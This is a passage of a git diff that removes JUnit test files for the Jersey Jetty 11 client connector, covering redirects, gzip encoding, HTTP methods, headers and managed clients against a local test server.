-                ClientResponse clientResponse = (ClientResponse) responseContext;
-                responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString());
-            }
-        }
-    }
-
-    @Test
-    public void testDoFollow() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
-        config.connectorProvider(new JettyConnectorProvider());
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        Response r = t.path("test/redirect")
-                .register(RedirectTestFilter.class)
-                .request().get();
-        assertEquals(200, r.getStatus());
-        assertEquals("GET", r.readEntity(String.class));
-// TODO uncomment as part of JERSEY-2388 fix.
-//        assertEquals(
-//                UriBuilder.fromUri(getBaseUri()).path(RedirectResource.class).build().toString(),
-//                r.getHeaderString(RedirectTestFilter.RESOLVED_URI_HEADER));
-
-        c.close();
-    }
-
-    @Test
-    public void testDoFollowPerRequestOverride() {
-        WebTarget t = target("test/redirect");
-        t.property(ClientProperties.FOLLOW_REDIRECTS, true);
-        Response r = t.request().get();
-        assertEquals(200, r.getStatus());
-        assertEquals("GET", r.readEntity(String.class));
-    }
-
-    @Test
-    public void testDontFollow() {
-        WebTarget t = target("test/redirect");
-        assertEquals(303, t.request().get().getStatus());
-    }
-
-    @Test
-    public void testDontFollowPerRequestOverride() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
-        config.connectorProvider(new JettyConnectorProvider());
-        Client client = ClientBuilder.newClient(config);
-        WebTarget t = client.target(u);
-        t.property(ClientProperties.FOLLOW_REDIRECTS, false);
-        Response r = t.path("test/redirect").request().get();
-        assertEquals(303, r.getStatus());
-        client.close();
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java
deleted file mode 100644
index 727c389..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.Arrays;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.message.GZipEncoder;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class GZIPContentEncodingTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
-
-    @Path("/")
-    public static class Resource {
-
-        @POST
-        public byte[] post(byte[] content) {
-            return content;
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(Resource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.register(GZipEncoder.class);
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-    @Test
-    public void testPost() {
-        WebTarget r = target();
-        byte[] content = new byte[1024 * 1024];
-        assertTrue(Arrays.equals(content,
-                r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
-
-        Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE));
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testPostChunked() {
-        ClientConfig config = new ClientConfig();
-        config.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024);
-        config.connectorProvider(new JettyConnectorProvider());
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-
-        Client client = ClientBuilder.newClient(config);
-        WebTarget r = client.target(getBaseUri());
-
-        byte[] content = new byte[1024 * 1024];
-        assertTrue(Arrays.equals(content,
-                r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
-
-        Response cr = r.request().post(Entity.text("POST"));
-        assertTrue(cr.hasEntity());
-        cr.close();
-
-        client.close();
-    }
-
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java
deleted file mode 100644
index 4e9f09e..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java
+++ /dev/null
@@ -1,225 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.InvocationCallback;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-/**
- *
- * @author Jakub Podlesak
- */
-public class HelloWorldTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName());
-    private static final String ROOT_PATH = "helloworld";
-
-    @Path("helloworld")
-    public static class HelloWorldResource {
-        public static final String CLICHED_MESSAGE = "Hello World!";
-
-        @GET
-        @Produces("text/plain")
-        public String getHello() {
-            return CLICHED_MESSAGE;
-        }
-
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HelloWorldResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-    @Test
-    public void testConnection() {
-        Response response = target().path(ROOT_PATH).request("text/plain").get();
-        assertEquals(200, response.getStatus());
-    }
-
-    @Test
-    public void testClientStringResponse() {
-        String s = target().path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-    }
-
-    @Test
-    public void testAsyncClientRequests() throws InterruptedException {
-        final int REQUESTS = 20;
-        final CountDownLatch latch = new CountDownLatch(REQUESTS);
-        final long tic = System.currentTimeMillis();
-        for (int i = 0; i < REQUESTS; i++) {
-            final int id = i;
-            target().path(ROOT_PATH).request().async().get(new InvocationCallback<Response>() {
-                @Override
-                public void completed(Response response) {
-                    try {
-                        final String result = response.readEntity(String.class);
-                        assertEquals(HelloWorldResource.CLICHED_MESSAGE, result);
-                    } finally {
-                        latch.countDown();
-                    }
-                }
-
-                @Override
-                public void failed(Throwable error) {
-                    error.printStackTrace();
-                    latch.countDown();
-                }
-            });
-        }
-        latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS);
-        final long toc = System.currentTimeMillis();
-        Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic));
-    }
-
-    @Test
-    public void testHead() {
-        Response response = target().path(ROOT_PATH).request().head();
-        assertEquals(200, response.getStatus());
-        assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
-    }
-
-    @Test
-    public void testFooBarOptions() {
-        Response response = target().path(ROOT_PATH).request().header("Accept", "foo/bar").options();
-        assertEquals(200, response.getStatus());
-        final String allowHeader = response.getHeaderString("Allow");
-        _checkAllowContent(allowHeader);
-        assertEquals("foo/bar", response.getMediaType().toString());
-        assertEquals(0, response.getLength());
-    }
-
-    @Test
-    public void testTextPlainOptions() {
-        Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options();
-        assertEquals(200, response.getStatus());
-        final String allowHeader = response.getHeaderString("Allow");
-        _checkAllowContent(allowHeader);
-        assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
-        final String responseBody = response.readEntity(String.class);
-        _checkAllowContent(responseBody);
-    }
-
-    private void _checkAllowContent(final String content) {
-        assertTrue(content.contains("GET"));
-        assertTrue(content.contains("HEAD"));
-        assertTrue(content.contains("OPTIONS"));
-    }
-
-    @Test
-    public void testMissingResourceNotFound() {
-        Response response;
-
-        response = target().path(ROOT_PATH + "arbitrary").request().get();
-        assertEquals(404, response.getStatus());
-        response.close();
-
-        response = target().path(ROOT_PATH).path("arbitrary").request().get();
-        assertEquals(404, response.getStatus());
-        response.close();
-    }
-
-    @Test
-    public void testLoggingFilterClientClass() {
-        Client client = client();
-        client.register(CustomLoggingFilter.class).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target().path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-        client.close();
-    }
-
-    @Test
-    public void testLoggingFilterClientInstance() {
-        Client client = client();
-        client.register(new CustomLoggingFilter()).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target().path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-        client.close();
-    }
-
-    @Test
-    public void testLoggingFilterTargetClass() {
-        WebTarget target = target().path(ROOT_PATH);
-        target.register(CustomLoggingFilter.class).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target.request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-    }
-
-    @Test
-    public void testLoggingFilterTargetInstance() {
-        WebTarget target = target().path(ROOT_PATH);
-        target.register(new CustomLoggingFilter()).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target.request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-    }
-
-    @Test
-    public void testConfigurationUpdate() {
-        Client client1 = client();
-        client1.register(CustomLoggingFilter.class).property("foo", "bar");
-
-        Client client = ClientBuilder.newClient(client1.getConfiguration());
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target().path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-        client.close();
-    }
-
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java
deleted file mode 100644
index c40b811..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java
+++ /dev/null
@@ -1,101 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.List;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.HeaderParam;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Context;
-import jakarta.ws.rs.core.HttpHeaders;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-
-/**
- * Tests the headers.
- *
- * @author Stepan Kopriva
- */
-public class HttpHeadersTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName());
-
-    @Path("/test")
-    public static class HttpMethodResource {
-        @POST
-        public String post(
-                @HeaderParam("Transfer-Encoding") String transferEncoding,
-                @HeaderParam("X-CLIENT") String xClient,
-                @HeaderParam("X-WRITER") String xWriter,
-                String entity) {
-            assertEquals("client", xClient);
-            return "POST";
-        }
-
-        @GET
-        public String testUserAgent(@Context HttpHeaders httpHeaders) {
-            final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT);
-            if (requestHeader.size() != 1) {
-                return "FAIL";
-            }
-            return requestHeader.get(0);
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-    @Test
-    public void testPost() {
-        Response response = target().path("test").request().header("X-CLIENT", "client").post(null);
-
-        assertEquals(200, response.getStatus());
-        assertTrue(response.hasEntity());
-    }
-
-    /**
-     * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client.
-     */
-    @Test
-    public void testUserAgent() {
-        String response = target().path("test").request().get(String.class);
-        assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response);
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java
deleted file mode 100644
index eeafa01..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java
+++ /dev/null
@@ -1,256 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.io.IOException;
-import java.lang.annotation.Documented;
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.ClientRequestContext;
-import jakarta.ws.rs.client.ClientRequestFilter;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.container.ContainerRequestContext;
-import jakarta.ws.rs.container.ContainerRequestFilter;
-import jakarta.ws.rs.container.DynamicFeature;
-import jakarta.ws.rs.container.ResourceInfo;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.FeatureContext;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ClientBinding;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.Uri;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * Jersey programmatic managed client test
- *
- * @author Marek Potociar
- */
-public class ManagedClientTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName());
-
-    /**
-     * Managed client configuration for client A.
-     */
-    @ClientBinding(configClass = MyClientAConfig.class)
-    @Documented
-    @Retention(RetentionPolicy.RUNTIME)
-    @Target({ElementType.FIELD, ElementType.PARAMETER})
-    public static @interface ClientA {
-    }
-
-    /**
-     * Managed client configuration for client B.
-     */
-    @ClientBinding(configClass = MyClientBConfig.class)
-    @Documented
-    @Retention(RetentionPolicy.RUNTIME)
-    @Target({ElementType.FIELD, ElementType.PARAMETER})
-    public @interface ClientB {
-    }
-
-    /**
-     * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance
-     * to every method that is annotated with {@link Require &#64;Require} internal feature
-     * annotation.
-     */
-    public static class CustomHeaderFeature implements DynamicFeature {
-
-        /**
-         * A method annotation to be placed on those resource methods to which a validating
-         * {@link CustomHeaderFilter} instance should be added.
-         */
-        @Retention(RetentionPolicy.RUNTIME)
-        @Documented
-        @Target(ElementType.METHOD)
-        public static @interface Require {
-
-            /**
-             * Expected custom header name to be validated by the {@link CustomHeaderFilter}.
-             */
-            public String headerName();
-
-            /**
-             * Expected custom header value to be validated by the {@link CustomHeaderFilter}.
-             */
-            public String headerValue();
-        }
-
-        @Override
-        public void configure(ResourceInfo resourceInfo, FeatureContext context) {
-            final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class);
-            if (va != null) {
-                context.register(new CustomHeaderFilter(va.headerName(), va.headerValue()));
-            }
-        }
-    }
-
-    /**
-     * A filter for appending and validating custom headers.
-     * <p>
-     * On the client side, appends a new custom request header with a configured name and value to each outgoing request.
-     * </p>
-     * <p>
-     * On the server side, validates that each request has a custom header with a configured name and value.
-     * If the validation fails a HTTP 403 response is returned.
-     * </p>
-     */
-    public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter {
-
-        private final String headerName;
-        private final String headerValue;
-
-        public CustomHeaderFilter(String headerName, String headerValue) {
-            if (headerName == null || headerValue == null) {
-                throw new IllegalArgumentException("Header name and value must not be null.");
-            }
-            this.headerName = headerName;
-            this.headerValue = headerValue;
-        }
-
-        @Override
-        public void filter(ContainerRequestContext ctx) throws IOException { // validate
-            if (!headerValue.equals(ctx.getHeaderString(headerName))) {
-                ctx.abortWith(Response.status(Response.Status.FORBIDDEN)
-                        .type(MediaType.TEXT_PLAIN)
-                        .entity(String
-                                .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue))
-                        .build());
-            }
-        }
-
-        @Override
-        public void filter(ClientRequestContext ctx) throws IOException { // append
-            ctx.getHeaders().putSingle(headerName, headerValue);
-        }
-    }
-
-    /**
-     * Internal resource accessed from the managed client resource.
-     */
-    @Path("internal")
-    public static class InternalResource {
-
-        @GET
-        @Path("a")
-        @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a")
-        public String getA() {
-            return "a";
-        }
-
-        @GET
-        @Path("b")
-        @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b")
-        public String getB() {
-            return "b";
-        }
-    }
-
-    /**
-     * A resource that uses managed clients to retrieve values of internal
-     * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter}
-     * and require a specific custom header in a request to be set to a specific value.
-     * <p>
-     * Properly configured managed clients have a {@code CustomHeaderFilter} instance
-     * configured to insert the {@link CustomHeaderFeature.Require required} custom header
-     * with a proper value into the outgoing client requests.
-     * </p>
-     */
-    @Path("public")
-    public static class PublicResource {
-
-        @Uri("a")
-        @ClientA // resolves to <base>/internal/a
-        private WebTarget targetA;
-
-        @GET
-        @Produces("text/plain")
-        @Path("a")
-        public String getTargetA() {
-            return targetA.request(MediaType.TEXT_PLAIN).get(String.class);
-        }
-
-        @GET
-        @Produces("text/plain")
-        @Path("b")
-        public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) {
-            return targetB.request(MediaType.TEXT_PLAIN).get();
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class)
-                .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal");
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    public static class MyClientAConfig extends ClientConfig {
-
-        public MyClientAConfig() {
-            this.register(new CustomHeaderFilter("custom-header", "a"));
-        }
-    }
-
-    public static class MyClientBConfig extends ClientConfig {
-
-        public MyClientBConfig() {
-            this.register(new CustomHeaderFilter("custom-header", "b"));
-        }
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-    /**
-     * Test that a connection via managed clients works properly.
-     *
-     * @throws Exception in case of test failure.
-     */
-    @Test
-    public void testManagedClient() throws Exception {
-        final WebTarget resource = target().path("public").path("{name}");
-        Response response;
-
-        response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get();
-        assertEquals(200, response.getStatus());
-        assertEquals("a", response.readEntity(String.class));
-
-        response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get();
-        assertEquals(200, response.getStatus());
-        assertEquals("b", response.readEntity(String.class));
-    }
-
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java
deleted file mode 100644
index dc366d1..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java
+++ /dev/null
@@ -1,153 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.concurrent.ExecutionException;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.DELETE;
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.PATCH;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.PUT;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * Tests the Http methods.
- *
- * @author Stepan Kopriva
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class MethodTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(MethodTest.class.getName());
-
-    private static final String PATH = "test";
-
-    @Path("/test")
-    public static class HttpMethodResource {
-        @GET
-        public String get() {
-            return "GET";
-        }
-
-        @POST
-        public String post(String entity) {
-            return entity;
-        }
-
-        @PUT
-        public String put(String entity) {
-            return entity;
-        }
-
-        @PATCH
-        public String patch(String entity) {
-            return entity;
-        }
-
-        @DELETE
-        public String delete() {
-            return "DELETE";
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-    @Test
-    public void testGet() {
-        Response response = target(PATH).request().get();
-        assertEquals("GET", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testGetAsync() throws ExecutionException, InterruptedException {
-        Response response = target(PATH).request().async().get().get();
-        assertEquals("GET", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testPost() {
-        Response response = target(PATH).request().post(Entity.entity("POST", MediaType.TEXT_PLAIN));
-        assertEquals("POST", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testPostAsync() throws ExecutionException, InterruptedException {
-        Response response = target(PATH).request().async().post(Entity.entity("POST", MediaType.TEXT_PLAIN)).get();
-        assertEquals("POST", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testPut() {
-        Response response = target(PATH).request().put(Entity.entity("PUT", MediaType.TEXT_PLAIN));
-        assertEquals("PUT", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testPutAsync() throws ExecutionException, InterruptedException {
-        Response response = target(PATH).request().async().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)).get();
-        assertEquals("PUT", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testDelete() {
-        Response response = target(PATH).request().delete();
-        assertEquals("DELETE", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testDeleteAsync() throws ExecutionException, InterruptedException {
-        Response response = target(PATH).request().async().delete().get();
-        assertEquals("DELETE", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testPatch() {
-        Response response = target(PATH).request().method("PATCH", Entity.entity("PATCH", MediaType.TEXT_PLAIN));
-        assertEquals("PATCH", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testOptionsWithEntity() {
-        Response response = target(PATH).request().build("OPTIONS", Entity.text("OPTIONS")).invoke();
-        assertEquals(200, response.getStatus());
-        response.close();
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java
deleted file mode 100644
index d4b3f2e..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.core.Response.Status;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
